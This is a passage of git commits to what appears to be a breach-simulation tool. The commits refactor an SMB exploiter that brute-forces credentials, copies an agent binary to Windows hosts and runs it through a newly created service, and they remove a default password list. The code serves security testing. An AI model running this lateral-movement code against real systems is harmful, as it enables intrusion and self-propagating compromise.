b/monkey/infection_monkey/exploit/smbexec.py @@ -23,6 +23,7 @@ class SmbExploiter(HostExploiter): "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False + SMB_SERVICE_NAME = "InfectionMonkey" def __init__(self, host): super(SmbExploiter, self).__init__(host) @@ -162,8 +163,8 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW( scmr_rpc, sc_handle, - self._config.smb_service_name, - self._config.smb_service_name, + SmbExploiter.SMB_SERVICE_NAME, + SmbExploiter.SMB_SERVICE_NAME, lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 26326721c..1db04b4ae 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -225,13 +225,6 @@ INTERNAL = { "description": "Timeout (in seconds) for SMB download operation (used in " "various exploits using SMB)", }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download " - "monkey", - }, }, }, }, diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 1f82c5499..f36bc5d18 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -90,7 +90,6 @@ } }, "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], "system_info_collector_classes": [ "MimikatzCollector" From 6fda2691e5e0e0426a621dadfeba2d9ff9b7c48a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:43:20 -0400 Subject: [PATCH 0787/1110] Agent: Remove dependency on WormConfig from SmbExploiter --- monkey/infection_monkey/exploit/smbexec.py | 51 +++++++------------ .../exploit/tools/smb_tools.py | 3 ++ 2 files changed, 21 insertions(+), 33 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 9a978b8a9..9490d11d8 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -4,12 +4,13 @@ from impacket.dcerpc.v5 import scmr, transport from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS from infection_monkey.network.tools import check_tcp_port from infection_monkey.network_scanning.smbfinger import SMBFinger from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from infection_monkey.utils.brute_force import generate_brute_force_combinations from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) @@ -45,14 +46,9 @@ class SmbExploiter(HostExploiter): return False def _exploit_host(self): - src_path = get_target_monkey(self.host) - - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # TODO use infectionmonkey.utils.brute_force - creds = self._config.get_exploit_user_password_or_hash_product() + agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) + dest_path = get_agent_dest_path(self.host, self.options) + creds = generate_brute_force_combinations(self.options["credentials"]) exploited = False for user, password, lm_hash, ntlm_hash in creds: @@ -60,24 +56,18 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, - src_path, - self._config.dropper_target_path_win_32, + agent_binary, + dest_path, user, password, lm_hash, ntlm_hash, - self._config.smb_download_timeout, + self.options["smb_download_timeout"], ) if remote_full_path is not None: - logger.debug( - "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " - "%s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), + logger.info( + f'Successfully logged in to {self.host.ip_addr} using user "{user}"' ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( @@ -95,15 +85,8 @@ class SmbExploiter(HostExploiter): except Exception as exc: logger.debug( - "Exception when trying to copy file using SMB to %r with user:" - " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s: (%s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), - exc, + "Error when trying to copy file using SMB to {self.host.ip_addr} with user " + f'"{user}":{exc}' ) continue @@ -112,18 +95,18 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): + if remote_full_path.lower() != dest_path.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - get_monkey_depth() - 1, - self._config.dropper_target_path_win_32, + self.current_depth - 1, + dest_path, ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, get_monkey_depth() - 1) + } + build_monkey_commandline(self.host, self.current_depth - 1) smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): @@ -153,6 +136,8 @@ class SmbExploiter(HostExploiter): if not smb_conn: return False + + # TODO: We DO want to deal with timeouts # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 6cbb16780..aba5901f5 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -11,6 +11,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.utils.brute_force import get_credential_string logger = logging.getLogger(__name__) @@ -28,6 +29,8 @@ class SmbTools(object): timeout=60, ): # TODO assess the 60 second timeout + creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash]) + logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}") smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout From 396dd0fca604f0c7fd3fe00b0341536536577350 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:44:30 -0400 Subject: [PATCH 0788/1110] Agent: Rename SmbExploiter SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 9490d11d8..c4dd77e43 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -16,7 +16,7 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) -class SmbExploiter(HostExploiter): +class SMBExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { @@ -27,10 +27,10 @@ class SmbExploiter(HostExploiter): SMB_SERVICE_NAME = "InfectionMonkey" def __init__(self, host): - super(SmbExploiter, self).__init__(host) + super(SMBExploiter, self).__init__(host) def is_os_supported(self): - if super(SmbExploiter, self).is_os_supported(): + if super(SMBExploiter, self).is_os_supported(): return True if not self.host.os.get("type"): @@ -73,8 +73,8 @@ class SmbExploiter(HostExploiter): self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) exploited = True @@ -109,14 +109,14 @@ class SmbExploiter(HostExploiter): } + build_monkey_commandline(self.host, self.current_depth - 1) smb_conn = False - for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): + for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) - rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) + rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -148,8 +148,8 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW( scmr_rpc, sc_handle, - SmbExploiter.SMB_SERVICE_NAME, - SmbExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] @@ -173,8 +173,8 @@ class SmbExploiter(HostExploiter): self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) return True From 32491d5998f457436544b5ed4c8ad9c7c3c15700 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:51:11 -0400 Subject: [PATCH 0789/1110] Agent: Remove logging of sensitive data from SmbTools --- .../exploit/tools/smb_tools.py | 33 +++---------------- 1 file changed, 4 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index aba5901f5..5efe87270 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -8,7 +8,6 @@ from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMB_DIALECT, SMBConnection from common.utils.attack_utils import ScanStatus -from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.utils.brute_force import get_credential_string @@ -40,16 +39,7 @@ class SmbTools(object): # skip guest users if smb.isGuestSession() > 0: - logger.debug( - "Connection to %r granted guest privileges with user: %s, password (SHA-512): " - "'%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - ) + logger.debug(f'Connection to {host} granted guest privileges with user "{username}"') try: smb.logoff() @@ -184,14 +174,8 @@ class SmbTools(object): if not file_uploaded: logger.debug( - "Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + f"Couldn't find a writable share for exploiting victim {host} with " + f'user "{username}"' ) return None @@ -222,16 +206,7 @@ class SmbTools(object): try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Error while logging into %r using user: %s, password (SHA-512): '%s', " - "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - exc, - ) + logger.debug(f'Error while logging into {host} using user "{username}": {exc}') return None, dialect smb.setTimeout(timeout) From 4a10882bccfdd03d407dff38d862f6ac69f6e114 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:54:04 -0400 Subject: [PATCH 0790/1110] Agent: Remove disused methods and attributes from WormConfiguration --- monkey/infection_monkey/config.py | 32 ------------------------------- 1 file changed, 32 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 96783a249..0abf6b19c 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,9 +1,7 @@ -import hashlib import os import sys import uuid from abc import ABCMeta -from itertools import product GUID = str(uuid.getnode()) @@ -74,8 +72,6 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = "/bin/sh" - dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" - dropper_target_path_linux = "/tmp/monkey" ########################### # monkey config @@ -93,34 +89,6 @@ class Configuration(object): keep_tunnel_open_time = 60 - def get_exploit_user_password_pairs(self): - """ - Returns all combinations of the configurations users and passwords - :return: - """ - return product(self.exploit_user_list, self.exploit_password_list) - - @staticmethod - def hash_sensitive_data(sensitive_data): - """ - Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data - plain-text, as the log is - saved on client machines plain-text. - - :param sensitive_data: the data to hash. - :return: the hashed data. - """ - password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() - return password_hashed - - exploit_user_list = ["Administrator", "root", "user"] - exploit_password_list = ["Password1!", "1234", "password", "12345678"] - exploit_lm_hash_list = [] - exploit_ntlm_hash_list = [] - - # smb/wmi exploiter - smb_download_timeout = 30 # timeout in seconds - ########################### # post breach actions ########################### From df24d4ab6abfd814c24fdf293f2e52353f3b2208 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:56:22 -0400 Subject: [PATCH 0791/1110] Agent: Use self.telemetry_messenger in SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index c4dd77e43..1d35cba5a 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -159,7 +159,7 @@ class SMBExploiter(HostExploiter): except Exception: status = ScanStatus.SCANNED pass - T1035Telem(status, UsageEnum.SMB).send() + self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB)) scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) From eddb9d527f5e36231ee8efbd971b43c1857a014a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:38:26 -0400 Subject: [PATCH 0792/1110] Agent: Remove dependency on SMBFingerprinter from SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 1d35cba5a..4d5623a13 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -7,8 +7,6 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.network_scanning.smbfinger import SMBFinger from infection_monkey.telemetry.attack.t1035_telem import T1035Telem from infection_monkey.utils.brute_force import generate_brute_force_combinations from infection_monkey.utils.commands import build_monkey_commandline @@ -29,22 +27,6 @@ class SMBExploiter(HostExploiter): def __init__(self, host): super(SMBExploiter, self).__init__(host) - def is_os_supported(self): - if super(SMBExploiter, self).is_os_supported(): - return True - - if not self.host.os.get("type"): - is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) - if is_smb_open: - smb_finger = SMBFinger() - smb_finger.get_host_fingerprint(self.host) - else: - is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139) - if is_nb_open: - self.host.os["type"] = "windows" - return self.host.os.get("type") in self._TARGET_OS_TYPE - return False - def _exploit_host(self): agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) dest_path = get_agent_dest_path(self.host, self.options) From 8eace7c7360a039c757925ed7ea697f77fb52b62 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:50:55 -0400 Subject: [PATCH 0793/1110] Agent: Return ExploitResultData from SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 4d5623a13..28671167d 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -32,7 +32,6 @@ class SMBExploiter(HostExploiter): dest_path = get_agent_dest_path(self.host, self.options) creds = generate_brute_force_combinations(self.options["credentials"]) - exploited = False for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB @@ -59,7 +58,7 @@ class SMBExploiter(HostExploiter): SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - exploited = True + self.exploit_result.exploitation_success = True break else: # failed exploiting with this user/pass @@ -72,9 +71,9 @@ class SMBExploiter(HostExploiter): ) continue - if not exploited: + if not self.exploit_result.exploitation_success: logger.debug("Exploiter SmbExec is giving up...") - return False + return self.exploit_result # execute the remote dropper in case the path isn't final if remote_full_path.lower() != dest_path.lower(): @@ -117,7 +116,12 @@ class SMBExploiter(HostExploiter): break if not smb_conn: - return False + msg = "Failed to establish an RPC connection over SMB" + + logger.warning(msg) + self.exploit_result.error_message = msg + + return self.exploit_result # TODO: We DO want to deal with timeouts # We don't wanna deal with timeouts from now on. @@ -151,6 +155,7 @@ class SMBExploiter(HostExploiter): self.host, cmdline, ) + self.exploit_result.propagation_success = True self.add_vuln_port( "%s or %s" @@ -159,4 +164,4 @@ class SMBExploiter(HostExploiter): SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - return True + return self.exploit_result From 732568b34f7ae03ee12b741bbbc8ace153145129 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:51:21 -0400 Subject: [PATCH 0794/1110] Agent: Remove disused get_monkey_depth() --- monkey/infection_monkey/exploit/tools/helpers.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 1ebedc668..ce6791d4c 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -26,12 +26,6 @@ def get_random_file_suffix() -> str: return random_string -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - - return WormConfiguration.depth - - def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str: if host.os["type"] == "windows": return options["dropper_target_path_win_64"] From f3d4f972a013df39037149dfbe59b113275b10e6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:54:48 -0400 Subject: [PATCH 0795/1110] Agent: Remove disused MonkeyHTTPServer --- .../exploit/tools/http_tools.py | 23 ------------------- 1 file changed, 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index cbe0f8f66..92696a5b7 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -4,8 +4,6 @@ import urllib.parse import urllib.request from threading import Lock -from infection_monkey.exploit.tools.helpers import try_get_target_monkey -from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target @@ -62,24 +60,3 @@ class HTTPTools(object): "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])), httpd, ) - - -class MonkeyHTTPServer(HTTPTools): - def __init__(self, host): - super(MonkeyHTTPServer, self).__init__() - self.http_path = None - self.http_thread = None - self.host = host - - def start(self): - # Get monkey exe for host and it's path - src_path = try_get_target_monkey(self.host) - self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( - self.host, src_path - ) - - def stop(self): - if not self.http_path or not self.http_thread: - raise RuntimeError("Can't stop http server that wasn't started!") - self.http_thread.join(DOWNLOAD_TIMEOUT) - self.http_thread.stop() From d56a6e23db517f6924129a82a88a59d58c085760 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:55:25 -0400 Subject: [PATCH 0796/1110] Agent: Remove disused {try,}get_target_monkey() --- monkey/infection_monkey/exploit/tools/helpers.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index ce6791d4c..84bd2c52b 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -8,17 +8,6 @@ from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) -def try_get_target_monkey(host): - src_path = get_target_monkey(host) - if not src_path: - raise Exception("Can't find suitable monkey executable for host %r", host) - return src_path - - -def get_target_monkey(host): - raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.") - - def get_random_file_suffix() -> str: character_set = list(string.ascii_letters + string.digits + "_" + "-") # random.SystemRandom can block indefinitely in Linux From c3ffd9199064615938653808fbe6768ad8cb2110 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:08:59 -0400 Subject: [PATCH 0797/1110] Agent: Load SMBExploiter into the puppet --- monkey/infection_monkey/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5a6238dfc..b89a2e1f0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.powershell import PowerShellExploiter +from infection_monkey.exploit.smbexec import SMBExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -225,6 +226,7 @@ class InfectionMonkey: puppet.load_plugin( "PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER ) + puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) puppet.load_plugin( From abb05730b8ca42bc4a21fbbbc3d384d18bb4af85 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:10:00 -0400 Subject: [PATCH 0798/1110] Agent: Remove unnecessary __init__() from SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 28671167d..7374bfb43 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -24,9 +24,6 @@ class SMBExploiter(HostExploiter): USE_KERBEROS = False SMB_SERVICE_NAME = "InfectionMonkey" - def __init__(self, host): - super(SMBExploiter, self).__init__(host) - def _exploit_host(self): agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) dest_path = get_agent_dest_path(self.host, self.options) From 75dd26b3dfe01d985a75a7d4a96c76bb916f42ef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:25:45 -0400 Subject: [PATCH 0799/1110] Agent: Handle case where SMB service already exists in SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 24 +++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 7374bfb43..73db6907d 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -1,6 +1,7 @@ from logging import getLogger from impacket.dcerpc.v5 import scmr, transport +from impacket.dcerpc.v5.scmr import DCERPCSessionError from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.exploit.HostExploiter import HostExploiter @@ -128,13 +129,22 @@ class SMBExploiter(HostExploiter): sc_handle = resp["lpScHandle"] # start the monkey using the SCM - resp = scmr.hRCreateServiceW( - scmr_rpc, - sc_handle, - SMBExploiter.SMB_SERVICE_NAME, - SMBExploiter.SMB_SERVICE_NAME, - lpBinaryPathName=cmdline, - ) + try: + resp = scmr.hRCreateServiceW( + scmr_rpc, + sc_handle, + SMBExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, + lpBinaryPathName=cmdline, + ) + except DCERPCSessionError as err: + if err.error_code == 0x431: + logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists') + resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME) + else: + self.exploit_result.error_message = str(err) + return self.exploit_result + service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(scmr_rpc, service) From 9532aba033d50992f0c3f542850f92891ffe8509 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:58:42 -0400 Subject: [PATCH 0800/1110] Agent: Improve logging around SCM connection attempts --- monkey/infection_monkey/exploit/smbexec.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 73db6907d..5ccfc03f8 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -103,13 +103,11 @@ class SMBExploiter(HostExploiter): scmr_rpc.connect() except Exception as exc: logger.debug( - "Can't connect to SCM on exploited machine %r port %s : %s", - self.host, - port, - exc, + f"Can't connect to SCM on exploited machine {self.host}, port {port} : {exc}" ) continue + logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}") smb_conn = rpctransport.get_smb_connection() break From 9b66b98428a41d7ae83df249155c50b68197283b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Mar 2022 19:38:45 -0400 Subject: [PATCH 0801/1110] Island: Move smb_service into exploit.properties.smb_service --- .../cc/services/config_schema/internal.py | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 1db04b4ae..da628fcce 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -213,17 +213,17 @@ INTERNAL = { "items": {"type": "string"}, "description": "List of SSH key pairs to use, when trying to ssh into servers", }, - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 30, - "description": "Timeout (in seconds) for SMB download operation (used in " - "various exploits using SMB)", + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 30, + "description": "Timeout (in seconds) for SMB download operation (used " + "in various exploits using SMB)", + }, }, }, }, From 753f00de657698e8303b2d61e49af61e93b22eaf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 13:00:48 -0400 Subject: [PATCH 0802/1110] Agent: Put timestamp before random string in log names Putting the timestamp before the random string in the agent and dropper log names allows them to be sorted by time. --- CHANGELOG.md | 2 +- monkey/infection_monkey/utils/monkey_log_path.py | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4af0e245b..c99303957 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,7 +21,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - The process list collection system info collector to now be a post-breach action. #1697 - The "/api/monkey/download" endpoint to accept an OS and return a file. #1675 - Log messages to contain human-readable thread names. #1766 -- The log file name to `infection-monkey-agent--.log`. #1761 +- The log file name to `infection-monkey-agent--.log`. #1761 ### Removed - VSFTPD exploiter. #1533 diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index ef9be4454..b6daa714a 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -7,8 +7,9 @@ from pathlib import Path # Cache the result of the call so that subsequent calls always return the same result @lru_cache(maxsize=None) def _get_log_path(monkey_arg: str) -> Path: - prefix = f"infection-monkey-{monkey_arg}-" - suffix = f"-{time.strftime('%Y-%m-%d-%H-%M-%S', time.gmtime())}.log" + timestamp = time.strftime("%Y-%m-%d-%H-%M-%S", time.gmtime()) + prefix = 